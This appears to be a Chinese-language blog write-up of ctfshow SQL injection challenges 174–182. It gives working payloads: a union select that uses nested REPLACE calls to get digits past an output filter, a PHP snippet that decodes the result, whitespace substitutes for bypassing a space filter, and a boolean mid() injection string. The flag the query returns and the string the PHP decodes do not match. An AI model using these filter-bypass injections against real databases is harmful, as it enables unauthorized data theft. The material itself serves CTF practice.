简单的或相似的就不记录了~~

174

检测返回结果是否有flag和数字,可以把用replace数字替换成其他的,比如0替换成numa,1替换成numb,所以payload为

1' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','xiaolong'),'0','numa'),'1','numb'),'2','numc'),'3','numd'),'4','nume'),'5','numf'),'6','numg'),'7','numh'),'8','numi'),'9','numj') from ctfshow_user4 -- 

查询得到

flag{aanumiaanumdnumenuma-numdnumanumanumd-numenumbnumenumd-acnumaf-numdnumfnumbnumfcnumcnumheadnumda}

然后再把flag里的内容替换回来

<?php
$flag='flaxiaolong{numbnumdnumjanumfafnuma-enumjnumhnumj-numenumjeb-acee-numfbnumanumbdnumenumfnuminumbnumcfd}';
$flag=str_replace('numa','0',$flag);
$flag=str_replace('numb','1',$flag);
$flag=str_replace('numc','2',$flag);
$flag=str_replace('numd','3',$flag);
$flag=str_replace('nume','4',$flag);
$flag=str_replace('numf','5',$flag);
$flag=str_replace('numg','6',$flag);
$flag=str_replace('numh','7',$flag);
$flag=str_replace('numi','8',$flag);
$flag=str_replace('numj','9',$flag);
echo $flag;
?>
flag{139a5af0-e979-49eb-acee-5b01d45812fd}

177-179

过滤了空格,可以用以下方式代替空格

/**/ 内联注释
%0a  换行
%0b 垂直定位符
%0c 换页符
%09  tab

180-182

id='or(mid(username,1,1)='f')and'1'='1
最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏